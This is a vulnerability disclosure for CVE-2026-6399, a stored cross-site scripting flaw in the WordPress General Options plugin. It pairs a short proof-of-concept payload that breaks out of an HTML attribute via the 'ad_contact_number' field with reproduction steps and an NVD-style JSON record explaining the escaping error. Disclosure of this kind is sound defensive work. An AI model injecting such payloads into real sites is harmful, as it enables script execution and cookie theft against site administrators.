CVE-2026-6399

// PoC for CVE-2026-6399 // Payload to inject into the 'ad_contact_number' field // The double quote breaks out of the HTML attribute context. // WordPress wp_magic_quotes adds a backslash, but HTML parsers render it literally. var payload = '" onfocus="alert(document.cookie)" autofocus="'; /* Reproduction Steps: 1. Log in as Administrator. 2. Navigate to General Options settings page. 3. Input the payload into the 'Contact Number' field. 4. Save the settings. 5. Reload the page to trigger the XSS execution. */

{"cve": {"id": "CVE-2026-6399", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:37.920", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The General Options plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 1.1.0. This is due to the use of sanitize_text_field() for output escaping in the Contact Number (ad_contact_number) field — a function that strips HTML tags but does not encode double-quote characters to their HTML entity equivalent ("). When the stored value is echoed inside a double-quoted HTML attribute (value=\"...\"), an attacker-supplied double-quote character breaks out of the attribute context. Even with WordPress's wp_magic_quotes mechanism (which prefixes quotes with a backslash), the resulting \\\" sequence is NOT treated as an escaped quote by HTML parsers — the backslash is rendered as a literal character and the bare double-quote still closes the attribute. This makes it possible for authenticated attackers with Administrator-level access and above to inject arbitrary web scripts in the admin settings page that will execute whenever any administrator visits the General Options settings page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/general-options/tags/1.1.0/direct-action.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/general-options/tags/1.1.0/direct-main.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/general-options/trunk/direct-action.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/general-options/trunk/direct-main.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d29c69bb-4feb-477e-b18f-934ece21aff6?source=cve", "source": "[email protected]"}]}}